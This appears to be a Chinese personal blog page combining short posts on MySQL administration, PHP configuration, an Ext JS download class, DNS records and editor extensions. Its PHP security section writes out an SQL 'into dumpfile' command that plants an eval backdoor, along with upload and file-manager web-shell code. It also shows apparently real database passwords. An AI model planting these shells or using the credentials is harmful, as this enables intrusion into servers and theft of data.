超凡魔力

君子善思,善假于物,而不物于物。

0%

常用shell命令

用来管理linux系统的常用命令,不一定是命令的详解,但是是一些精简的指令组合。比如 ps aux|grep php等。

移除已经存在的know_hosts

主要是因为,如果采用公钥登陆,之后服务器重置了系统,之前的公钥登陆就无法在用了,这个时候,只能使用密码登陆。所以,需要先从konw_hots中移除该ip。

ssh-keygen -f "/home/chaofml/.ssh/known_hosts" -R "chaofml.cn"

mysql相关

用户管理

MySQL 默认有个root用户,但是这个用户权限太大,一般只在管理数据库时候才用。如果在项目中要连接 MySQL 数据库,则建议新建一个权限较小的用户来连接。

  • 在 MySQL 命令行模式下输入如下命令可以为 MySQL 创建一个新用户:
    CREATE USER username IDENTIFIED BY 'password';
  • 新用户创建完成,但是此刻如果以此用户登陆的话,会报错,因为我们还没有为这个用户分配相应权限,分配权限的命令如下:
    GRANT ALL PRIVILEGES ON *.* TO 'username'@'localhost' IDENTIFIED BY 'password';

授予username用户在所有数据库上的所有权限。

说明:*.*表示所有的库上的所有的表

  • 如果此时发现刚刚给的权限太大了,如果我们只是想授予它在某个数据库上的权限,那么需要切换到root 用户撤销刚才的权限,重新授权:
EVOKE ALL PRIVILEGES ON *.* FROM 'username'@'localhost';
GRANT ALL PRIVILEGES ON wordpress.* TO 'username'@'localhost' IDENTIFIED BY 'password';
  • 甚至还可以指定该用户只能执行 select 和 update 命令:

    GRANT SELECT, UPDATE ON wordpress.* TO 'username'@'localhost' IDENTIFIED BY 'password';

    这样一来,再次以username登陆 MySQL,只有wordpress数据库是对其可见的,并且如果你只授权它select权限,那么它就不能执行delete 语句。

  • 另外每当调整权限后,通常需要执行以下语句刷新权限:

    FLUSH PRIVILEGES;
  • 删除刚才创建的用户:

DROP USER username@localhost;

mysql账户密码

第一种方式:

  • 找出别人的链接的ID
    show processlist;

在系统下mysqladmin -uroot -ppassword kill 要杀的ID

先修改了root密码,语句如下:
UPDATE mysql.user SET PASSWORD=PASSWORD(‘root’) WHERE USER=’root’;
FLUSH PRIVILEGES;

  • 限制下安全吧,root授权的时候只给自己的IP进行授权
    grant ALL on . to “root”@”自己的IP” identified by “密码”;
    FLUSH PRIVILEGES;
    下面好像可以增加了一个新的用户。

第二种方式:mysql_native_password

修改密码加密方式,改成mysql_native_password

ALTER USER ‘root’@’localhost’ IDENTIFIED WITH mysql_native_password BY ‘root’;
然后修改密码:

SET PASSWORD FOR ‘root’@’localhost’ = PASSWORD(‘newpassword’);
或者执行命令flush privileges使权限配置项立即生效。

这种方式,可以在mysql.user表中看到,password字段中内容为空,而plugin字段中,为mysql_native_password。另外,authentication_string字段中,多了一些内容。在实际操作中,发现password中有内容了,而原来的还是为空。

忘记密码

只需要跳过权限登录MySQL 服务器端,在cmd中执行 mysqld –skip-grant-tables。需要先结束mysqld服务进程。

说明

仔细上面几个命令,可以发现不管是授权,还是撤销授权,都要指定响应的host(即 @ 符号后面的内容),因为以上及格命令实际上都是在操作mysql 数据库中的user表,可以用如下命令查看相应用户及对应的host:

SELECT User, Host FROM user;

注意事项

特殊字符

  • !(验证过,确实如此)
    密码中含有叹号(!),那么在控制台登录时会出现错误哦,但是PHP能正常的访问。
  • &
    如果有特殊字符&,那么就会出现如下提示:-bash: syntax error near unexpected token `&’

mysql.user表中Host为%的含义

  Host列指定了允许用户登录所使用的IP,比如user=root Host=192.168.1.1。这里的意思就是说root用户只能通过192.168.1.1的客户端去访问。
  而%是个通配符,如果Host=192.168.1.%,那么就表示只要是IP地址前缀为“192.168.1.”的客户端都可以连接。如果Host=%,表示所有IP都有连接权限。
  这也就是为什么在开启远程连接的时候,大部分人都直接把Host改成%的缘故,为了省事。

数据库备份

  • 备份
    mysqldump -uroot -pshinestb –databases publish led meetings shinevideomeeting iptv cdnserver interactive ctinteractive > 文件.sql;
  • 恢复
    mysql -uroot -pshinestb publish < 文件

https://www.cnblogs.com/wanghetao/p/3806888.html

https://www.cnblogs.com/libin6505/p/8269035.html

https://blog.csdn.net/z69183787/article/details/76449186

https://www.cnblogs.com/SQL888/p/5748824.html

php-crud-api改造记

php-crud-api地址

这个是小组组长要求使用到的一个开源的php的库。目地是,减少php代码,使精力专注在前端页面上。但是在使用过程中,发现并不能很好的与前端的Extjs框架配合好。为了解决这个问题,便要对其进行适当的改进。

改造如下

前端提交表单,需要返回success字段

前端需求数据跟后端的api接口返回数据格式不一致,前端需要提交数据成功后,需要增加一个success=true字段,而原有的api框架,只返回成功后的api。需要需要对其进行改造。

改造得比较丑,代码可以优化。另外,这种需求是简单的处理。结合之前看到的其他的框架,可以用事件插件模式来处理。(参见typecho的设计模式),RecordController.php,create、update方法。
话不多说,代码前后对比:

改造前:

$params = $request->getParams();
if (is_array($record)) {
    $result = array();
    foreach ($record as $r) {
        $result[] = $this->service->create($table, $r, $params);
    }
    return $this->responder->success($result);
} else {
    return $this->responder->success($this->service->create($table, $record, $params));
}
	

改造后:

$params = $request->getParams();
$needSuccess=false;
if(isset($params['success'])){
	$needSuccess=true;
}
if (is_array($record)) {
	$result = array();
	foreach ($record as $r) {
		$result[] = $this->service->create($table, $r, $params);
	}
	if($needSuccess){
		return $this->responder->success(array('success'=>true,'result'=>$result));
	}else{
		return $this->responder->success($result);
	}
} else {
	if($needSuccess){
		$result=$this->service->create($table, $record, $params);
		return $this->responder->success(array('success'=>true,'result'=>$result));
	}else{
		return $this->responder->success($this->service->create($table, $record, $params));
	}
	
}

php与nginx的安装

参考文章

php-fpm配置

在Linux中将php-fpm配置成服务的方法

  • 1.配置php-fpm.conf

vi /usr/local/php/etc/php-fpm.conf

php-fpm.pid 目录必须指向:/usr/local/php/var/run/php-fpm.pid

  • 2.拷贝php-fpm脚本至/etc/init.d目录

cp /home/soft/php-5.3.15/sapi/fpm/init.d.php-fpm /etc/init.d/php-fpm

  • 3.设置权限并启动php-fpm:

chmod 755 /etc/init.d/php-fpm

/etc/init.d/php-fpm start

chkconfig –add php-fpm

  • 最后,给出php-fpm以服务的方式启动、停止和重启:

service php-fpm start

service php-fpm stop

service php-fpm reload

php与ini文件

例子

  • 其中db.ini配置文件如下:
[root]
username='root'
password='ROOT_shinestb_2019_'


[publish]
username='publish'
password='PUBLISH_shinestb_2019_'
  • php主要的操作函数为,parse_ini_file,

参数说明:1、要解析的文件名;2、如果第二个参数默认为false,如果为true,则返回多维数组。

php代码:

$tmp=parse_ini_file('db.ini',TRUE);
var_dump($tmp);
/*
array(2) {
  ["root"]=>
  array(2) {
    ["username"]=>
    string(4) "root"
    ["password"]=>
    string(19) "ROOT_shinestb_2019_"
  }
  ["publish"]=>
  array(2) {
    ["username"]=>
    string(7) "publish"
    ["password"]=>
    string(22) "PUBLISH_shinestb_2019_"
  }
}
*/


$tmp=parse_ini_file('db.ini');
var_dump($tmp);
/*
array(2) {
  ["username"]=>
  string(7) "publish"
  ["password"]=>
  string(22) "PUBLISH_shinestb_2019_"
}
*/

php.ini配置

  • ini_get()获取配置参数,ini_set()设置配置参数
  • ini_get_all()获取所有配置信息
  • ini_restore()恢复配置信息到原始值

php中的安全问题

mysql部分

mysql端口未更改

通过端口扫描,可以找到3306端口,然后通过弱口令,登录到数据库。

mysql文件写权限

通过以下命令,往数据库里面写数据

//写入php可执行脚本,放到web执行目录中
select "<?php  @evel($_GET['test']);" into dumpfile "D:/ShineMDS/xampp/htdocs/extension/test.php";

php部分

常见的php简单的木马

  • 直接执行post 或get的提交参数
<?php  @evel($_GET['test']);
  • 上传文件
<?php
move_uploaded_file($_FILES['file']['tmp_name'],$_FILES['file']['name']);
  • 遍历目录
<?php
	if(!empty($_POST['action'])){
		$action=$_POST['action'];
		switch($action){
		case 'upload':
			upload();
		default:
			break;
		}
	}
	if(!empty($_GET['action'])){
		$action=$_GET['action'];
		switch($action){
		case 'download':
			download();
			exit;
		case 'delete':
			deleteFile();
			break;
		default:
			break;
		}
	}
	function download(){
		if(!empty($_GET['fn']) &&file_exists($_GET['fn']) ){
			$file=$_GET['fn'];
			header('Content-Description: File Transfer');
			header('Content-Type: application/octet-stream');
			header('Content-Disposition: attachment; filename="'.basename($file).'"');
			header('Expires: 0');
			header('Cache-Control: must-revalidate');
			header('Pragma: public');
			header('Content-Length: ' . filesize($file));
			readfile($file);
			exit;
		}
	}
	function deleteFile(){
		if(!empty($_GET['fn']) &&file_exists($_GET['fn']) ){
			$file=$_GET['fn'];
			unlink($file);
			header("Location:".pathinfo(__FILE__)['basename']."?path=".dirname($file));	
		}
	}
	function upload(){
		$path=$_GET['path'];
		move_uploaded_file($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name']);
	}
?>
<!DOCTYPE html>
<html lang="zh-CN">
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- 上述3个meta标签*必须*放在最前面,任何其他内容都*必须*跟随其后! -->
    <title>文件查看工具</title>
  </head>
 <body>
 <?php
	//var_dump();
	$curPath=dirname(__FILE__);
	//echo $curPath;
	$path=$curPath;
	if(!empty($_GET['path'])){
		$path=$_GET['path'];
	}
	$fh=opendir($path);
	$dirs=array();
	$files=array();
	while($fn=readdir($fh)){
		$fn=iconv('gbk','UTF-8',$fn);
		$fullName=$path.'/'.$fn;
		$info=array();
		$info['fn']=$fn;
		$info['fullname']=$fullName;
		if(is_dir($path.'/'.$fn)){
			$dirs[]=$info;
		}else{
			$files[]=$info;
		}
	}
?>
	<p><a href="?path=<?=dirname($path)?>">返回上一级</a></p>
	<?php foreach($dirs as $v){ ?>
	<a href="?path=<?=$v['fullname']?>"><?=$v['fn']?></a><br>
	<?php }?>
	
	<?php foreach($files as $v){?>
	<p><?=$v['fn']?>   <a href="?action=download&fn=<?=$v['fullname']?>">下载</a>   <a href="?action=delete&fn=<?=$v['fullname']?>">删除</a></p>
	<?php }?>
	<div>
		<form action="<?php  echo pathinfo(__FILE__)['basename']."?path=$path";?>" enctype="multipart/form-data" method="POST">
			<input type="file" name="file">
			<input type="hidden" name="action" value="upload">
			<input type="submit" value="提交" >
		</form>
	</div>
 </body>
	
</html>

一个Ext JS 6可用的下载类

HTML5为A标签添加了download属性,可用来指定链接的文件名,单击A标签后就可实现文件下载功能,该组件就是利用这个特性来实现的,具体代码如下:

Ext.define('Admin.util.Download', {
    alternateClassName: 'DL',
    singleton: true,

    saveAs: function(url,filename, fileType, params){
        Ext.Ajax.request({
            method: 'GET',
            url: url,
            params: params,
            filename: filename,
            binary: true,
            success: function(response, options){
                Ext.Msg.hide();
                let filename= options.filename,
                    bytes = response.responseBytes,
                    blob = new Blob([bytes], {type:fileType});
                    a = document.createElement("a"),
                    evt = document.createEvent("MouseEvents");
                a.innerHTML = filename;
                a.download = filename;                    
                a.href = URL.createObjectURL(blob);
                evt.initEvent("click", false, false);
                a.dispatchEvent(evt);        
            },
            failure: FAILED.ajax
        }) 
    }

});

下载类Admin.util.Download为单例模式的列,也就是不需要实例化就可直接调用saveSa方法,如果不喜欢使用单例模式,也可将saveAs方法修改为静态方法。

调用saveAs方法需要传递文件名(filename)、文件类型(fileType)和提交参数(params)这三个参数。

在saveAs方法内,会调用Ajax去获取下载文件。要注意的是,在调用Ajax时,将数据返回格式设置为了二进制格式(binary: true)。在成功获取文件后,就可使用响应的responseBytes属性来获取返回的字节流,然后将字节流转换为blob对象,这里要注意是必须设置好文件类型,不然下载后的文件可能是非预期的。在创建blob对象后,就可创建一个A标签了。在创建A标签时,需要绑定它的鼠标事件和innerHtml等属性,而最关键就是将下载的文件名绑定到download属性,并为blob对象创建一个访问地址赋值给A标签的href属性。最后就是调用A标签的单击事件来实现文件下载操作了。

[TOC]

不确定层数的嵌套循环

1、多层循环,铺平。

结果发现,其实我要实现的就是一个迭代器而已。我想在python里面应该有相应的成熟的方法。而我现在还在这…………重复造轮子。而且写这个代码,用了很长时间

简单的思路

想自定义一个对象,然后将相关的方法,封装在里面。结果写了一点,发现不是个好思路。还要考虑对象的初始化问题。js里面的对象,尤其是继承,用起来比较麻烦。所以,放弃了这种思路。

阅读全文 »

# 域名解析

记录类型

常用的大概有:

A记录

A解析到一个ip上。这个是常用的方式。

如果有一个ip地址,那么应增加两个A记录。

//配置1  指定www开头
记录类型:A
主机记录:www  记录值:47.94.172.200
解析线路:默认
//配置2,默认省略www也能访问
记录类型:A
主机记录:@    记录值:47.94.172.200
解析线路:默认
//配置3  以git前缀访问
记录类型:A
主机记录:git    记录值:47.94.172.200
解析线路:默认

CNAME记录

将此记录指向另外一个域名。

主机记录,即域名以什么开头。

记录值 ,指向另外一个域名 test.coding.me

//配置  执行另外一个域名
记录类型:CNAME
主机记录:m   记录值:test.coding.me
解析线路:默认

常用的vs扩展

  • Chinese (Simplified) Language Pak

    中文简体包

  • Git History Diff (HuiZhou)

    非常方便的代码Git历史查看,能方便的查看到之前的版本。

  • Code Runner 0.9.11 (Jun Han)

    能快速的运行各种格式的代码,非常方便

  • dx-snippet

    各种前端的快捷方式,(研究如何增加自己的快捷方式)

  • jshint 0.10.20

    js语法检查工具,需要npm isntall -g全局才能安装使用。

  • Material Theme 29.2.0

    一个主题插件

  • PHP IntelliSense 2.3.10

    PHP语法检查工具,具体不清楚。

  • Vetur

    vue的工具

  • Coffee Emmet Mithril

    Coffee的语法提示工具